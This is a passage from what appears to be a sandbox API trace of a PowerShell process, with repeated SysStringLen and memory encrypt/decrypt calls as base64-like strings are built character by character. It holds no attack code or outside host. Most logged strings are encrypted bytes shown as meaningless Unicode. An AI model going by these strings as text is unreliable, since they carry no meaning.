Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="4rs0KvKGNnVw\쓜⦐⊅) returned 0x10 [0208.441] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒︡쥢晶铋쭚纰挟苕") returned 0x10 [0208.441] SysStringLen (param_1="픈妤႓扒埩冻䠒︡쥢晶铋쭚纰挟苕") returned 0x10 [0208.441] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.441] SysStringLen (param_1="4rs0KvKGNnVwm部蔩") returned 0x10 [0208.442] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒◥ᝡꔖ쨗耫䲛楐㞬") returned 0x10 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒◥ᝡꔖ쨗耫䲛楐㞬") returned 0x10 [0208.442] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="4rs0KvKGNnVwmQ部蔩") returned 0x10 [0208.442] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒띿莤窯ٽṹ摏") returned 0x10 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒띿莤窯ٽṹ摏") returned 0x10 [0208.442] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="4rs0KvKGNnVwmQa蔩") returned 0x10 [0208.442] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒諜䄷鮲뺗涚縔ꡱ") returned 0x10 [0208.442] SysStringLen (param_1="픈妤႓扒埩冻䠒諜䄷鮲뺗涚縔ꡱ") returned 0x10 [0208.442] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.442] SysStringLen (param_1="4rs0KvKGNnVwmQa6") returned 0x10 [0208.442] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0208.443] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫") returned 0x10 [0208.575] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫") returned 0x10 [0208.575] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫") returned 0x10 [0208.575] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫") returned 0x18 [0208.575] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.576] SysStringLen (param_1="4rs0KvKGNnVwmQa6/ꀕ遣ꕭ悉ኝ龳俐") returned 0x18 [0208.576] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.576] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫〬왦䁴굜뢩䞱ꃲ꯳") returned 0x18 [0208.576] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫〬왦䁴굜뢩䞱ꃲ꯳") returned 0x18 [0208.576] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.576] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a遣ꕭ悉ኝ龳俐") returned 0x18 [0208.576] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.576] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫坳膶䆷띇틁\務⋸) returned 0x18 [0208.576] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫坳膶䆷띇틁\務⋸) returned 0x18 [0208.576] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.576] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a7ꕭ悉ኝ龳俐") returned 0x18 [0208.576] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫⯛룰刍螒栤㙼簇觉") returned 0x18 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫⯛룰刍螒栤㙼簇觉") returned 0x18 [0208.577] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74悉ኝ龳俐") returned 0x18 [0208.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫堭퐗ຖ⺿ᒞ잎堳") returned 0x18 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫堭퐗ຖ⺿ᒞ잎堳") returned 0x18 [0208.577] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74Kኝ龳俐") returned 0x18 [0208.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫㞝붚ٟੌ튔껸鱧") returned 0x18 [0208.577] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫㞝붚ٟੌ튔껸鱧") returned 0x18 [0208.577] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.577] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9龳俐") returned 0x18 [0208.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.578] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫杮袾츇섯䐴葰䷖") returned 0x18 [0208.578] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫杮袾츇섯䐴葰䷖") returned 0x18 [0208.578] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.578] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z俐") returned 0x18 [0208.578] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.578] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫簒䚐鷮\뷟\샟㦼臁") returned 0x18 [0208.578] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫簒䚐鷮\뷟\샟㦼臁") returned 0x18 [0208.578] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.578] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5") returned 0x18 [0208.578] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0208.578] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ⊂) returned 0x18 [0208.579] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ⊂) returned 0x18 [0208.579] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ⊂) returned 0x18 [0208.579] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ⊂) returned 0x20 [0208.579] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.579] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5u戆␉꓁坁\⣜鮔≏) returned 0x20 [0208.579] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.579] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ\點痴횘릏㆙\峚ዬ⋶) returned 0x20 [0208.580] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ\點痴횘릏㆙\峚ዬ⋶) returned 0x20 [0208.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.580] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uX␉꓁坁\⣜鮔≏) returned 0x20 [0208.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.580] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ麂暅礇䅕⍑覷຦⊳) returned 0x20 [0208.580] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ麂暅礇䅕⍑覷຦⊳) returned 0x20 [0208.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.580] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy꓁坁\⣜鮔≏) returned 0x20 [0208.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.580] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ鲂˭픦뵂䍭遜ᴿ떜≣) returned 0x20 [0208.580] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ鲂˭픦뵂䍭遜ᴿ떜≣) returned 0x20 [0208.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.580] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy4坁\⣜鮔≏) returned 0x20 [0208.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ劂ᢡꅌ尤惚䒷䆋랖∖) returned 0x20 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ劂ᢡꅌ尤惚䒷䆋랖∖) returned 0x20 [0208.581] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48\⣜鮔≏) returned 0x20 [0208.581] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ\돟첈앬窍軬퇳㋽踺") returned 0x20 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ\돟첈앬窍軬퇳㋽踺") returned 0x20 [0208.581] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48f鐨供") returned 0x20 [0208.581] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ冂袁差홻ꯍ袷⏠᪲⊁) returned 0x20 [0208.581] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ冂袁差홻ꯍ袷⏠᪲⊁) returned 0x20 [0208.581] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.581] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fi供") returned 0x20 [0208.581] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧẂ䜳༘瓯닌窵䪝∉) returned 0x20 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧẂ䜳༘瓯닌窵䪝∉) returned 0x20 [0208.582] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.582] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fim") returned 0x20 [0208.582] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ∶) returned 0x20 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ∶) returned 0x20 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ∶) returned 0x20 [0208.582] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ∶) returned 0x28 [0208.582] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.583] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOￋ팊범ᵒ婓ﮜ") returned 0x28 [0208.583] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.583] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ꘶뮷ꠥﭞڑ≡) returned 0x28 [0208.583] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ꘶뮷ꠥﭞڑ≡) returned 0x28 [0208.583] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.583] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ팊범ᵒ婓ﮜ") returned 0x28 [0208.583] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.583] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ审ළꁗꨅ䕌៘篽⊇) returned 0x28 [0208.583] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ审ළꁗꨅ䕌៘篽⊇) returned 0x28 [0208.583] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.586] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5범ᵒ婓ﮜ") returned 0x28 [0208.586] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.586] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ矼\䣛ﱢ뚘ზꗁ轜") returned 0x28 [0208.586] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ矼\䣛ﱢ뚘ზꗁ轜") returned 0x28 [0208.586] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.586] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/범ᵒ婓ﮜ") returned 0x28 [0208.586] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.586] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩꀶ㽾돓뇈࣍\ꃚ钤讼") returned 0x28 [0208.586] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩꀶ㽾돓뇈࣍\ꃚ钤讼") returned 0x28 [0208.586] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.586] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+ᵒ婓ﮜ") returned 0x28 [0208.587] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ옶੖貝몛몎ꩈ⼈ﻶ≼) returned 0x28 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ옶੖貝몛몎ꩈ⼈ﻶ≼) returned 0x28 [0208.587] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.587] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2婓ﮜ") returned 0x28 [0208.587] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ똶ᰔ釞ꪧ았᪒ዬ⋪) returned 0x28 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ똶ᰔ釞ꪧ았᪒ዬ⋪) returned 0x28 [0208.587] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.587] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nﮜ") returned 0x28 [0208.587] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩض납n穋ꄞ⨊誌绎⋼) returned 0x28 [0208.587] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩض납n穋ꄞ⨊誌绎⋼) returned 0x28 [0208.587] SystemFunction041 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.588] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nh") returned 0x28 [0208.588] SystemFunction040 (in: Memory=0x5c91c7c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c7c) returned 0x0 [0208.588] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽⋰) returned 0x28 [0208.588] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽⋰) returned 0x28 [0208.588] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽⋰) returned 0x28 [0208.588] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽⋰) returned 0x30 [0208.588] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.588] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nhH씔䫵뚡⭪픈軌㵖") returned 0x30 [0208.588] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽ᗰ䟦퀿쒞㱫⩵⋘) returned 0x30 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽ᗰ䟦퀿쒞㱫⩵⋘) returned 0x30 [0208.589] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nhHt䫵뚡⭪픈軌㵖") returned 0x30 [0208.589] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽ࣰ䅼྾혢뛻捑썒捩∃) returned 0x30 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽ࣰ䅼྾혢뛻捑썒捩∃) returned 0x30 [0208.589] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nhHtY뚡⭪픈軌㵖") returned 0x30 [0208.589] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽㧰ﴹ粋蹒襯힁∇) returned 0x30 [0208.589] SysStringLen (param_1="픈妤႓扒埩冻䠒綝颀ᾣꓢ苫萊媓占ḏ\᳜孪ꃧ펂幸揇ꊤ箚ⴷ₫ꜩ㤶臚鳽漽蔌瞠뽣淽㧰ﴹ粋蹒襯힁∇) returned 0x30 [0208.589] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.589] SysStringLen (param_1="4rs0KvKGNnVwmQa6/a74K9z5uXy48fimOQ5/+2nhHtY=⭪픈軌㵖") returned 0x30 [0208.589] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0208.590] EtwEventActivityIdControl () returned 0x0 [0208.592] EtwEventActivityIdControl () returned 0x0 [0208.592] EtwEventActivityIdControl () returned 0x0 [0208.595] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.596] EtwEventActivityIdControl () returned 0x0 [0208.596] EtwEventActivityIdControl () returned 0x0 [0208.596] EtwEventActivityIdControl () returned 0x0 [0208.597] SysStringLen (param_1="") returned 0x8 [0208.597] SysStringLen (param_1="N") returned 0x8 [0208.597] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0208.598] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0208.598] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="ND") returned 0x8 [0208.598] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0208.598] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0208.598] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="NDZ") returned 0x8 [0208.598] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0208.598] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0208.598] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.598] SysStringLen (param_1="NDZl") returned 0x8 [0208.598] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.599] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0208.599] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0208.599] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.599] SysStringLen (param_1="NDZlO") returned 0x8 [0208.599] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0208.599] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0208.599] SysStringLen 